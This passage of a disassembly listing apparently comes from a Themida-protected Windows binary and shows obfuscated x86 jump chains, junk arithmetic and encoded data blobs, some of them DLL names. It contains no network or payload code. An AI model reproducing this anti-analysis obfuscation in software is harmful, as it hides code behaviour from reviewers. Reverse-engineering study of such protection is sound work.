shr edx, 5
sub edx, 0C1AA90EBh
sub eax, edx
pop edx
mov ecx, [eax]
mov eax, [esp]
push ecx
mov ecx, esp
jmp loc_59078D
; ---------------------------------------------------------------------------
loc_5A2DCA: ; CODE XREF: Themida_:0059330Bj
sub eax, 0FFFFFFFFh
jmp loc_5921A3
; ---------------------------------------------------------------------------
loc_5A2DD4: ; CODE XREF: Themida_:00591B49j
sub al, 0CDh
jmp loc_5A18FB
; ---------------------------------------------------------------------------
loc_5A2DDB: ; CODE XREF: Themida_:0059665Ej
and bl, 0A5h
xor bl, 6Fh
or dl, bl
jmp loc_596F80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_5A2DE8: ; CODE XREF: sub_59DA2F-3926j
mov word ptr [esp+8+var_8], cx
jmp loc_59E0B5
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_5A2DF1: ; CODE XREF: Themida_:0059113Ej
add esp, 4
mov eax, [esp]
push edi
mov edi, esp
push ebp
mov ebp, 592B66DFh
shr ebp, 4
push edx
jmp loc_58ECC6
; ---------------------------------------------------------------------------
loc_5A2E0C: ; CODE XREF: Themida_:00595859j
mov ebp, 74046726h
and edi, ebp
push dword ptr [esp]
pop ebp
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_59CA13
; ---------------------------------------------------------------------------
loc_5A2E2A: ; CODE XREF: Themida_:0059D2AEj
pop edx
sub edi, esi
pop esi
xor esi, edi
pop edi
xor eax, esi
pop esi
jmp loc_59582D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A2E49: ; CODE XREF: Themida_:0059A912j
mov [esp], ebx
pop ebp
jmp loc_59C707
; ---------------------------------------------------------------------------
loc_5A2E52: ; CODE XREF: Themida_:0059063Fj
mov ecx, ebp
pop ebp
add ebp, ecx
pop ecx
jmp loc_59A76F
; ---------------------------------------------------------------------------
loc_5A2E5D: ; CODE XREF: Themida_:005A30CEj
push eax
mov eax, 0A670EC30h
add edi, eax
pop eax
sub eax, edi
jmp loc_593ED7
; ---------------------------------------------------------------------------
loc_5A2E6D: ; CODE XREF: Themida_:0059BBA3j
or ecx, 68C550A2h
xor ecx, 68E02689h
add ecx, 71501B82h
and ecx, 2925247Fh
sub ecx, 663A4567h
push 4D27h
mov [esp], edx
jmp loc_59E749
; ---------------------------------------------------------------------------
loc_5A2E98: ; CODE XREF: Themida_:005A0228j
mov ebx, [esp]
add esp, 4
inc ebx
add ebx, 20082222h
jmp loc_59FCD4
; ---------------------------------------------------------------------------
loc_5A2EAD: ; CODE XREF: Themida_:0058E868j
push edx
mov edx, 4
jmp loc_59A832
; ---------------------------------------------------------------------------
loc_5A2EB8: ; CODE XREF: Themida_:005A2CC8j
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_59E86F
; ---------------------------------------------------------------------------
loc_5A2EC7: ; CODE XREF: Themida_:005A0615j
pop eax
pop edx
loc_5A2EC9: ; CODE XREF: Themida_:005A03B2j
push 5AC0h
jmp loc_593B6A
; ---------------------------------------------------------------------------
loc_5A2ED3: ; CODE XREF: Themida_:0059210Ej
mov ebx, esp
push esi
mov esi, esp
jmp loc_59175E
; ---------------------------------------------------------------------------
loc_5A2EDD: ; CODE XREF: Themida_:00591AE6j
add eax, 24293DB3h
jmp loc_59978E
; ---------------------------------------------------------------------------
loc_5A2EE7: ; CODE XREF: Themida_:005A24F5j
pop ebx
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_597500
; ---------------------------------------------------------------------------
loc_5A2EFF: ; CODE XREF: Themida_:00593B0Aj
sub ecx, 29E0B33Bh
mov edx, ecx
pop ecx
xor edx, 793E4AC8h
sub ecx, edx
pop edx
push eax
mov eax, 41B611B6h
sub eax, 0FFFFFFFFh
shr eax, 4
neg eax
sub eax, 63FE3251h
shr eax, 4
sub eax, 696DDE78h
xor ecx, eax
pop eax
add ebx, ecx
pop ecx
jmp loc_599176
; ---------------------------------------------------------------------------
loc_5A2F39: ; CODE XREF: Themida_:0059E8BBj
add ebp, 4
push esi
mov esi, 4
add ebp, esi
pop esi
xchg ebp, [esp]
mov esp, [esp]
push edi
mov edi, esp
jmp loc_59A651
; ---------------------------------------------------------------------------
loc_5A2F56: ; CODE XREF: Themida_:005966B7j
pop eax
jmp loc_598F42
; ---------------------------------------------------------------------------
loc_5A2F5C: ; CODE XREF: Themida_:0059ABA8j
mov [esp], ebp
jmp loc_5A065B
; ---------------------------------------------------------------------------
loc_5A2F64: ; CODE XREF: Themida_:0059C99Cj
pop edi
jmp loc_59D71B
; ---------------------------------------------------------------------------
loc_5A2F6A: ; CODE XREF: Themida_:0058E3C8j
xor ebp, 6BFD68A9h
xor ebp, 426C23A7h
sub ebp, 0E6E54ECEh
sub ebx, ebp
pop ebp
sub ebx, 0A5A3B514h
mov esi, ebx
jmp loc_58EDF4
; ---------------------------------------------------------------------------
loc_5A2F8C: ; CODE XREF: Themida_:00595FB5j
sub eax, 427A331Eh
jmp loc_597A72
; ---------------------------------------------------------------------------
loc_5A2F96: ; CODE XREF: Themida_:0059D862j
or eax, eax
jz loc_59309C
push 63D9h
mov [esp], ebx
push edi
push ecx
push 1EC466A2h
pop ecx
push ebx
jmp loc_591B4E
; ---------------------------------------------------------------------------
loc_5A2FB4: ; CODE XREF: Themida_:0059E70Bj
mov ebx, 0
add ebx, 4E5E6B88h
add ebx, edx
sub ebx, 4E5E6B88h
push 46FBh
jmp loc_59622F
; ---------------------------------------------------------------------------
loc_5A2FD1: ; CODE XREF: Themida_:005926B4j
sub ebx, ecx
jmp loc_59F3D4
; ---------------------------------------------------------------------------
loc_5A2FD8: ; CODE XREF: Themida_:0059E4ADj
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebp
push esi
jmp loc_58E429
; ---------------------------------------------------------------------------
loc_5A2FEF: ; CODE XREF: Themida_:005A2A3Fj
push edi
mov edi, esp
jmp loc_5A0BDA
; ---------------------------------------------------------------------------
loc_5A2FF7: ; CODE XREF: Themida_:0059AB1Aj
xor eax, ecx
push ecx
not dword ptr [esp]
pop ecx
xor eax, ecx
jmp loc_598AAC
; ---------------------------------------------------------------------------
loc_5A3005: ; CODE XREF: Themida_:005A0827j
not al
or al, 0ACh
jmp loc_58FF80
; ---------------------------------------------------------------------------
loc_5A300E: ; CODE XREF: Themida_:00597086j
xor ecx, [esp]
pop esp
xor bl, al
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A3020: ; CODE XREF: Themida_:005A0211j
push ecx
push ebp
mov ebp, 34BF5E9Dh
mov ecx, 34BF5E99h
xor ecx, ebp
pop ebp
sub eax, ecx
jmp loc_59E50A
; ---------------------------------------------------------------------------
loc_5A3036: ; CODE XREF: Themida_:0059F661j
push 78AAh
jmp loc_5A16CE
; ---------------------------------------------------------------------------
loc_5A3040: ; CODE XREF: Themida_:00590634j
xor edx, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_594DF9
; ---------------------------------------------------------------------------
loc_5A3051: ; CODE XREF: Themida_:0059E059j
mov ebp, ebx
pop ebx
push eax
push edx
mov edx, 4F804FA2h
mov eax, 5E601F48h
xor eax, edx
pop edx
add eax, 114260Dh
neg eax
sub eax, 37373B39h
jmp loc_597058
; ---------------------------------------------------------------------------
loc_5A3074: ; CODE XREF: Themida_:005A0062j
inc ah
jmp loc_5A25D9
; ---------------------------------------------------------------------------
loc_5A307B: ; CODE XREF: Themida_:00599BA1j
sub ax, 33AFh
jmp loc_59FCC6
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_593442
; ---------------------------------------------------------------------------
loc_5A308D: ; CODE XREF: Themida_:0059B65Fj
add eax, 81E78754h
sub ebx, eax
pop eax
push eax
mov eax, 541B3C30h
neg eax
jmp loc_590916
; ---------------------------------------------------------------------------
loc_5A30A2: ; CODE XREF: Themida_:005992B6j
xor esi, 0ADFC164h
sub ebx, esi
jmp loc_59E33F
; ---------------------------------------------------------------------------
loc_5A30AF: ; CODE XREF: Themida_:005992CDj
or edi, 6775ADEh
push ecx
mov ecx, 0C150B7Eh
dec ecx
add ecx, 59063FEEh
xor edi, ecx
mov ecx, [esp]
add esp, 4
dec edi
jmp loc_5A2E5D
; ---------------------------------------------------------------------------
loc_5A30D3: ; CODE XREF: Themida_:0059C97Bj
add eax, 4
jmp loc_59A793
; ---------------------------------------------------------------------------
loc_5A30DD: ; CODE XREF: Themida_:005A1F25j
push 1C1Fh
mov [esp], edx
jmp loc_59A9EC
; ---------------------------------------------------------------------------
loc_5A30EA: ; CODE XREF: Themida_:00592689j
add edx, 12D253E6h
jmp loc_58F3C2
; ---------------------------------------------------------------------------
loc_5A30F5: ; CODE XREF: Themida_:0059D47Ej
pop ebx
pop ecx
not ecx
jmp loc_5A1E97
; ---------------------------------------------------------------------------
loc_5A30FE: ; CODE XREF: Themida_:00591FB8j
pop esi
pop esi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov ax, [esp]
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, 20DE7F2Ch
sub esp, 4
mov [esp], edi
mov edi, 30520B11h
xor ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_59599F
; ---------------------------------------------------------------------------
loc_5A3143: ; CODE XREF: Themida_:00590FBFj
push 4031h
mov [esp], ebp
mov ebp, esp
push ebx
push eax
push esi
mov esi, 357A6F7Ah
jmp loc_58F6C6
; ---------------------------------------------------------------------------
loc_5A315A: ; CODE XREF: Themida_:005A0A61j
add esi, 4
push 2BC6h
mov [esp], ebp
jmp loc_59483D
; ---------------------------------------------------------------------------
loc_5A316D: ; CODE XREF: Themida_:0059E958j
push ebp
mov ebp, 3FF3507Fh
jmp loc_5A253D
; ---------------------------------------------------------------------------
loc_5A3178: ; CODE XREF: Themida_:00591D40j
xchg eax, [esp]
pop esp
add ebp, 0ADD39CCh
sub ebp, ecx
sub ebp, 0ADD39CCh
jmp loc_593672
; ---------------------------------------------------------------------------
loc_5A318F: ; CODE XREF: Themida_:0059205Fj
mov esp, [esp]
or [esp], al
pushf
jmp loc_591376
; ---------------------------------------------------------------------------
loc_5A319B: ; CODE XREF: Themida_:00594F8Fj
xor edi, 3D5F194Dh
add edx, edi
jmp loc_59589A
; ---------------------------------------------------------------------------
loc_5A31A8: ; CODE XREF: Themida_:00596154j
push ebx
inc dword ptr [esp]
pop ebx
push esi
mov esi, 0E5C43F2h
jmp loc_598245
; ---------------------------------------------------------------------------
loc_5A31B8: ; CODE XREF: Themida_:005959ACj
sub ebx, 643D3C8Ch
shr ebx, 4
xor ebx, 8B364F7h
push ecx
mov ecx, 6F3C79A9h
push ebp
jmp loc_5A2ABA
; ---------------------------------------------------------------------------
push 4ADBh
mov [esp], edi
jmp loc_59B11B
; ---------------------------------------------------------------------------
loc_5A31E0: ; CODE XREF: Themida_:0059381Fj
not bh
sub bh, 98h
sub esp, 4
mov [esp], edx
mov dl, 0D2h
shr dl, 7
push ecx
mov ch, 2Bh
jmp loc_59DB74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_5A31F8: ; CODE XREF: sub_590877-190Fj
xor edi, 74453657h
xor edi, 0F0BB8180h
add ecx, edi
pop edi
add ecx, 4
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
pop esp
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
pop [esp-8+arg_4]
mov esp, [esp-0Ch+arg_8]
mov word ptr [esp-0Ch+arg_8], dx
jmp loc_59D163
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
loc_5A3229: ; CODE XREF: Themida_:00594611j
pop dx
sub al, ch
mov ecx, [esp]
add esp, 4
add al, dh
push ebx
mov bl, 82h
dec bl
inc bl
add bl, 0EBh
add bl, 43h
jmp loc_59D3E6
; ---------------------------------------------------------------------------
loc_5A324A: ; CODE XREF: Themida_:005903CDj
add edx, 638D3216h
xor edx, 0B9B3BC69h
add edi, edx
pop edx
add ebx, 3A4E4CFDh
add ebx, edi
sub ebx, 3A4E4CFDh
pop edi
push eax
mov eax, 4
jmp loc_592CD9
; ---------------------------------------------------------------------------
loc_5A3273: ; CODE XREF: Themida_:00596791j
add ecx, 22636F1Fh
push eax
mov eax, 124F5865h
push eax
not dword ptr [esp]
mov eax, [esp]
add esp, 4
shl eax, 5
add eax, 99C372F7h
jmp loc_5A02F7
; ---------------------------------------------------------------------------
loc_5A3296: ; CODE XREF: Themida_:00597974j
mov esp, [esp]
add esp, 4
push eax
mov eax, 65C936B5h
shr eax, 2
not eax
add eax, 19724DB2h
jmp loc_59921A
; ---------------------------------------------------------------------------
loc_5A32B4: ; CODE XREF: Themida_:0058E38Ej
pop esp
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5A32BA: ; CODE XREF: Themida_:005A254Aj
push dword ptr [eax]
mov ecx, [esp]
push edx
push esp
jmp loc_59B4D5
; ---------------------------------------------------------------------------
loc_5A32C6: ; CODE XREF: Themida_:0059CA97j
pop eax
pop eax
push ebp
jmp loc_596355
; ---------------------------------------------------------------------------
loc_5A32CE: ; CODE XREF: Themida_:005969D5j
mov edx, 2
push eax
mov eax, 6A124184h
inc eax
push edi
mov edi, 1CBA77B9h
shl edi, 2
neg edi
jmp loc_5966EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590877
loc_5A32EA: ; CODE XREF: sub_590877+83D6j
mov dh, 2Ch
or cl, dh
pop dx
push bx
mov bl, 10h
add cl, 6
add cl, bl
jmp loc_598FF6
; END OF FUNCTION CHUNK FOR sub_590877
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57DD3A
loc_5A32FE: ; CODE XREF: sub_57DD3A+3863j
jmp loc_5A3344
; END OF FUNCTION CHUNK FOR sub_57DD3A
; ---------------------------------------------------------------------------
db 0A6h
dd 555CF379h, 33524553h, 6C642E32h, 4441006Ch, 49504156h
dd 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 507D800h
dd 7000300h, 1F001000h, 8C001700h, 2, 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57DD3A
loc_5A3344: ; CODE XREF: sub_57DD3A:loc_5A32FEj
jmp loc_5A3CBF
; END OF FUNCTION CHUNK FOR sub_57DD3A
; ---------------------------------------------------------------------------
push 6179A23h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6179AB9h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6179BF2h
jmp loc_581882
; ---------------------------------------------------------------------------
push 6179D6Bh
jmp loc_581882
; ---------------------------------------------------------------------------
push 6179DCFh
jmp loc_581882
; ---------------------------------------------------------------------------
push 6179EBFh
jmp loc_581882
; ---------------------------------------------------------------------------
push 6179F32h
jmp loc_581882
; ---------------------------------------------------------------------------
db 84h
dd 44DBBA2Ah, 93A075E5h, 0FC33C232h, 0BA690C7Ch, 6E2DC838h
dd 9000823Dh, 59C92E05h, 950567BCh, 60D03300h, 0A91C4295h
dd 16916B60h, 0B2B28A0Bh, 0B8E89859h, 0FB3B1FA6h, 8042169Bh
dd 93F89CC5h, 614E5F16h, 1072BF9Dh, 0F19976A0h, 7405A2D2h
dd 79A94DECh, 0D3BF7065h, 0B007291Eh, 19C184DAh, 0E4C973CCh
dd 293E63E2h, 0ECBDF682h, 62E1FBC3h, 0F682293Fh, 3264D431h
dd 38D2E35Dh, 0A4CC6CFEh, 0E39009EDh, 91AD82D8h, 98C8B332h
dd 55D5C2F0h, 0F3DCB1E5h, 0F52F1EBh, 0EEFC9CD3h, 0A272DDDh
dd 547D48A9h, 0B5FC9CD3h, 9CD3CB0Eh, 3FE1B2FCh, 7FB4416Eh
dd 78F18CFCh, 67D1DD9Dh, 7BCE54Dh, 0E7470000h, 30919E77h
dd 7FFE35C0h, 37B9660Fh, 81012EC7h, 64278411h, 0BC59C929h
dd 5900067h, 0B75ECE2Eh, 0FA9B0B68h, 1B3E05C9h, 0E2169168h
dd 0C7241B21h, 347D5F57h, 0A8F154B5h, 531086F2h, 137D6D42h
dd 982B3363h, 169E8B4Dh, 74E4456Eh, 0F99D4D42h, 9F1D1628h
dd 6B42873Eh, 18291691h, 0DBFC5E37h, 0E3DBB1CCh, 98E80A10h
dd 2B55E79h, 1282E72Ch, 0D23F2B24h, 1F140272h, 54B5109Ch
dd 91FCA8F1h, 6D425316h, 7956C626h, 0E0B125A4h, 3CB8BEB7h
dd 726h, 24F161DDh, 5B3AAA0Fh, 1CF969C4h, 6431A107h, 1AFB6BCFh
dd 2F930E7Dh, 0E649D6BFh, 34909F76h, 810231C4h, 8B538411h
dd 916891B8h, 0A19B5C16h, 72E2624Fh, 0F2B0D96Ch, 6A3B1086h
dd 0C0309380h, 0EE5EDDD6h, 8934C5A8h, 0A81E3DC0h, 64C397h
dd 24D70000h, 0EC4D66C7h, 0E0453A7Ch, 1086F2B9h, 0B95C7344h
dd 0F297B673h, 6AC91086h, 0F2173A09h, 0D4D61086h, 86F22871h
dd 0EDC2D310h, 0F8D747A6h, 8200311Dh, 3F2B2412h, 6975A559h
dd 9C64BEDAh, 506E3F16h, 6D71E163h, 808DD46Fh, 5F701693h
dd 0F153E0ABh, 249FBD81h, 169380FDh, 51BBAF80h, 671F1h
dd 864FC500h, 3B9D7Ah, 0E736A74Fh, 165EBFB5h, 63E05139h
dd 0D8D9C3F3h, 99FFEB5Bh, 0D801C4E5h, 16108698h, 0B17A2696h
dd 2E6106FAh, 0C5EAC577h, 0B58A4AF9h, 5A6B169Bh, 7B0764BBh
dd 0B18E88F8h, 4697C09Eh, 0D3CAE50Ch, 0D8F767C5h, 0A3536332h
dd 92D86B73h, 1B108B57h, 7DFF340Ah, 39BB680Dh, 5CE7F5C9h
dd 1CAB8735h, 903E7B8h, 0FD89EE43h, 350A0C7Ch, 40C3701Ah
dd 49C84DD0h, 151FB1CAh, 5EDADh, 28981600h, 0E353D64Dh
dd 30A01D12h, 0FA6ACE65h, 36A6041Bh, 5043485Fh, 3CF382F2h
dd 75AA4BBBh, 41EE87F7h, 10C352C2h, 6952774Eh, 58191691h
dd 57C724E4h, 0B4347D5Fh, 0F2A9F053h, 43541086h, 0B5552A6Ch
dd 638FF774h, 9F96027Ah, 391E200Fh, 0B17C0931h, 10FEEC1Dh
dd 0E72F9F23h, 8E091F1Eh, 3D7633EFh, 0D34B4BBBh, 3291614Ch
dd 10860CEFh, 0AB92BD8Eh, 9AB6A30Ah, 0F210860Ah, 0A919B143h
dd 0FEA73F97h, 5F7DFFFFh, 87FEBDE4h, 7B6F4010h, 57C72497h
dd 91A64E87h, 6952774Eh, 8191086h, 42F4C72Fh, 77484EBEh
dd 0F684B258h, 794C1242h, 169CC3DDh, 0C0E68FA0h, 370ED000h
dd 1089FEC3h, 8F7DB98Ah, 910110C6h, 4B3FD1A4h, 0AD192C70h
dd 8934DB1Ch, 0D4093DC0h, 193C3A3h, 0B2D70000h, 2A1B3C59h
dd 40D3C1D2h, 0F1C9E5Ah, 2C03907Ch, 7CA4543Eh, 88F56CB0h
dd 320C23C3h, 9B018F93h, 0C3278C16h, 0F6BEE362h, 6C3D1690h
dd 2EF7A743h, 0F85B32CAh, 36C8E7F4h, 771F678Fh, 407010ECh
dd 2503C77Eh, 0BDEAC96Ch, 0F6C7CF3Fh, 0C7CF3FBDh, 4BDDD9F6h
dd 0E0637BABh, 0F09969E5h, 0C597A778h, 3459B590h, 0BA7344B4h
dd 0C0711990h, 3E63E243h, 0BDFC9CEEh, 0B6FBC3ECh, 4726C434h
dd 0E7F35BD8h, 3BDDC641h, 96BB8A54h, 55FC9C30h, 0FB926B44h
dd 0E0D1DCFCh, 4746ED6h, 2F8F0000h, 0E849D6BFh, 27869D78h
dd 0EF51DEB7h, 2989967Fh, 0CCBFDCB9h, 740171D1h, 2DC838BFh
dd 6F0676F6h, 42D343C0h, 0D3F6CD91h, 9A16916Fh, 0BAB63D9h
dd 0FCD903DBh, 30D649D7h, 8221C96Fh, 169EDD4Bh, 0C25390Ah
dd 57C724B0h, 7EEE525Fh, 88977E51h, 697ABC2Ch, 0E6039A0Ah
dd 79B7DFD0h, 410F77Bh, 93F30000h, 5CDD5223h, 9B1A09ECh
dd 53D54A2Bh, 9D1D12E3h, 5853482Dh, 950565h, 0B95CCC33h
dd 0FB9A0A6Ah, 0BE57C724h, 577A4915h, 1616916Fh, 0C724E755h
dd 98E9A5Fh, 0CFE07045h, 0E959DAC7h, 0C737B4ADh, 8BAA06CFh
dd 7B82E40Bh, 4D49B938h, 558E41E8h, 0AC617668h, 4554FEEh
dd 0AC137E6Ch, 86456DADh, 8E169F10h, 1C97A8CDh, 0FFFFFCE1h
dd 82864FF0h, 0E7EFF25h, 0F73FAC29h, 25951613h, 87B787F1h
dd 0CEB40CB7h, 0E8B9169Ch, 0EA5ADDD6h, 5C37D3ACh, 935EB2D0h
dd 18ABB3E3h, 169BFB30h, 85526C3Dh, 2B758F4h, 0ABF199DEh
dd 8B828B18h, 252730BEh, 0E124C421h, 0BE2E9281h, 0E212E6CCh
dd 69DC02DCh, 0BEAB2E20h, 0B510FACBh, 0B8B1D4EDh, 0F177BF90h
dd 82411D4Dh, 0A2DEDF03h, 347D4152h, 81AE47B7h, 0E80B9202h
dd 7B039F92h, 320F979h, 63E30000h, 0AC0D22F3h, 6BCA593Ch
dd 0A3051AFBh, 6DCD6233h, 88318FDh, 0D0A51595h, 896CDC63h
dd 0CBAA1A9Ah, 8E67D754h, 67AA1945h, 616916Ch, 0BABB785h
dd 0D8D903DBh, 0D0ADE959h, 8B5C8B3Ah, 0A1B169Eh, 979FF34h
dd 56D6DB61h, 0CE3EBCF5h, 0B4EF7C8h, 0F216916Bh, 0B8670E21h
dd 0D9CACC3Ch, 8F23F25Ah, 0F2B7538Ah, 91340DDh, 6254B7E0h
dd 2ADE2h, 68D85600h, 0A313968Dh, 70E05DD2h, 0BA2A8EA5h
dd 76E644DBh, 1083089Fh, 7CB342B2h, 35EA8BFBh, 81AE47B7h
dd 0D0039202h, 6D12370Eh, 18D91691h, 0DB0BAB24h, 0AE03D903h
dd 256CD949h, 0C81086F2h, 0D040BCF7h, 8B5C8B3Ah, 0A1B169Eh
dd 0E7EFF34h, 333A305h, 0DE600Ah, 6B2267DEh, 0F8C91691h
dd 32A22112h, 5CE42B2Ch, 2FFBD443h, 67585ECEh, 0E3D3A248h
dd 4EBFEE16h, 0EF71560Eh, 61834CC8h, 8AA5B20Eh, 95FD7FB4h
dd 0E2A42601h, 0B6547BF7h, 0F775BEA0h, 20A28F87h, 0A68986B0h
dd 4EC6D9C4h, 74451691h, 69D13142h, 0D76E6344h, 169168B2h
dd 5B4F6839h, 75E546D6h, 66D6595Ah, 46705F30h, 0F152B09Fh
dd 91190F52h, 0F2DDEE16h, 0F464C7ECh, 4B52D5C2h, 9C1F3971h
dd 0EEBCD7B3h, 82411D4Dh, 16916C57h, 10211526h, 895343B3h
dd 6FDF5E53h, 0AAEF5627h, 5116916Ch, 0FDBAA40h, 0B1129E22h
dd 57785541h, 85F576B3h, 5FC043F0h, 916CBDE4h, 406F4016h
dd 43B3357Eh, 0A6907A53h, 931A0E1Bh, 0A8189B2Ch, 65D556CDh
dd 0F06A6B31h, 9CCD92Dh, 74F633D7h, 3E771204h, 53BB388Fh
dd 0D216DFF7h, 0B1446B24h, 2697A8ADh, 0DCFF7D36h, 4BCBADDAh
dd 95755A8Bh, 70A61694h, 0E950D811h, 0E571D1F6h, 213D1282h
dd 0C041883Bh, 1B2C1691h, 0F93A246Fh, 300D0979h, 0E959D95Ah
dd 0C838B4ADh, 8F3EE7CEh, 87CA7963h, 661691C0h, 4B4BBB39h
dd 7CAD5D72h, 63E78EFEh, 0CC42ED72h, 23C79A3Eh, 211585E6h
dd 7FA2213Bh, 0FE1691D5h, 755E3D2Dh, 89CEED7Eh, 0E52C97C5h
dd 88AE0C7Ch, 0F1DCD3B7h, 10E555D6h, 630A023h, 26961B18h
dd 0BE6B1FF0h, 0D9CACC3Ch, 0B9AAEC5Ch, 0A436CF37h, 90FF2D5h
dd 0A415F026h, 7FE6AA39h, 84F47750h, 51C142F1h, 0DE657765h
dd 0AE0CE2BBh, 8667142h, 0B8B0A9A8h, 7D417713h, 7BDA5855h
dd 209DC5EAh, 0AEB09FB0h, 113F7F17h, 112DFEA8h, 3C51784Bh
dd 0B1CD419h, 0D2A6145Fh, 0D0299CA2h, 5BD20145h, 0D4574C4Ah
dd 777D5A64h
dd 3DAD1280h, 143304F9h, 0BD2D8FD3h, 869DF892h, 281B525h
dd 0A1DC2794h, 935F4ED5h, 6AB0C3C2h, 0B654F34Dh, 0EF86F675h
dd 6353C340h, 0B9E06379h, 0DB351AFEh, 134296ABh, 1D2E9259h
dd 0CC3CBC6Dh, 0E757D9CAh, 0DC3DC2AFh, 1A942069h, 0D5FACB35h
dd 8C33E2E1h, 476C6E57h, 0C03D76E6h, 0D0FFBA50h, 710474F7h
dd 0E5D141C2h, 115Dh, 0D6565B00h, 86673066h, 373C2564h
dd 4AF298B7h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h
dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h
dd 55783C7Ah, 0C5815D54h, 4, 8704ED83h, 815C242Ch, 4ECh
dd 242C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push edx
push 664237FBh
mov edx, [esp]
add esp, 4
shl edx, 6
neg edx
shl edx, 6
xor edx, 0DA97C960h
mov ebp, edx
pop edx
push esp
mov ecx, [esp]
add esp, 4
push ebp
push esi
mov esi, 54C708A6h
xor [esp+4], esi
pop esi
pop dword ptr [ecx+8]
xor dword ptr [ecx+8], 54C708A6h
push dword ptr [esp]
pop ecx
add esp, 4
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_581882
; ---------------------------------------------------------------------------
db 10h
db 60h, 49h, 0CEh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57DD3A
loc_5A3CBF: ; CODE XREF: sub_57DD3A:loc_5A3344j
mov eax, 617A204h
add eax, ebp
jmp eax
; END OF FUNCTION CHUNK FOR sub_57DD3A
; ---------------------------------------------------------------------------
dd 6B088B5h, 10EA340Ch, 33B5F825h, 42986CE4h, 4E77C4A1h
dd 4BC04834h, 6D93F4A1h, 0A46D8A4h, 423FEF4Ah, 76DE4592h
dd 1213933Ch, 10D66805h, 0F79F0D8h, 429A23E2h, 5B56EC73h
dd 629AAA18h, 683347C6h, 34D7458Eh, 60455A79h, 0EF90B0Fh
dd 848090Fh, 9E8h, 8E68D400h, 0CCF2516Bh, 12E9E5CDh, 4C000000h
dd 9FB55104h, 0C2734CC2h, 469A69D8h, 0B46FF5C9h, 0C0815816h
dd 70AEh, 0BE8h, 0DA5E6400h, 37AAC6ACh, 0B4655D39h, 0A1A5B95Eh
dd 0E9814DDFh, 4DDF85B3h, 17BF108Bh, 810E5757h, 19D28DC2h
dd 11E828h, 59AD0000h, 349D069Fh, 11FF97BDh, 864EE295h
dd 0E91881CCh, 12h, 0AFB8943Dh, 4432489h, 8B1488DEh, 0FCE1F583h
dd 815F1234h, 319252EAh, 12E906h, 0C0710000h, 0B434AE87h
dd 0FF587185h, 30ECF368h, 0ED2BA960h, 0C12EC281h, 850F7D2Ch
dd 4, 9B4BBF66h, 8A0F1089h, 0
; ---------------------------------------------------------------------------
sub eax, 4
dec ecx
jnz loc_5A3DF5
add bl, 1Dh
jmp loc_5A3E0B
; ---------------------------------------------------------------------------
scasb
shr ecx, 1
inc ebx
mov ebx, 2574EC17h
pushf
cmp eax, 2F41543Dh
loc_5A3DF5: ; CODE XREF: Themida_:005A3DD8j
push ebx
pop ebx
jmp near ptr dword_5A3CC8+9Ch
; ---------------------------------------------------------------------------
pop esp
sal dword ptr [eax], 0EFh
mov dh, 81h
mov ds:3B28D89Bh, al
xchg eax, ebp
xchg eax, esp
nop
aas
loc_5A3E0B: ; CODE XREF: Themida_:005A3DE1j
jmp loc_5A3E9D
; ---------------------------------------------------------------------------
pusha
cmp dword ptr [ebp+6152E9Dh], 0
jz loc_5A3E23
jmp loc_5A3E9B
; ---------------------------------------------------------------------------
loc_5A3E23: ; CODE XREF: Themida_:005A3E18j
push 0
cmp byte ptr [esi], 30h
jnz loc_5A3E36
push 0
inc esi
jmp loc_5A3E6B
; ---------------------------------------------------------------------------
loc_5A3E36: ; CODE XREF: Themida_:005A3E28j
cmp byte ptr [esi], 33h
jnz loc_5A3E47
push 10h
inc esi
jmp loc_5A3E6B
; ---------------------------------------------------------------------------
loc_5A3E47: ; CODE XREF: Themida_:005A3E39j
cmp byte ptr [esi], 34h
jnz loc_5A3E58
push 30h
inc esi
jmp loc_5A3E6B
; ---------------------------------------------------------------------------
loc_5A3E58: ; CODE XREF: Themida_:005A3E4Aj
cmp byte ptr [esi], 35h
jnz loc_5A3E69
push 40h
inc esi
jmp loc_5A3E6B
; ---------------------------------------------------------------------------
loc_5A3E69: ; CODE XREF: Themida_:005A3E5Bj
push 0
loc_5A3E6B: ; CODE XREF: Themida_:005A3E31j
; Themida_:005A3E42j ...
cmp byte ptr [esi], 20h
jnz loc_5A3E86
cmp byte ptr [esi+1], 0
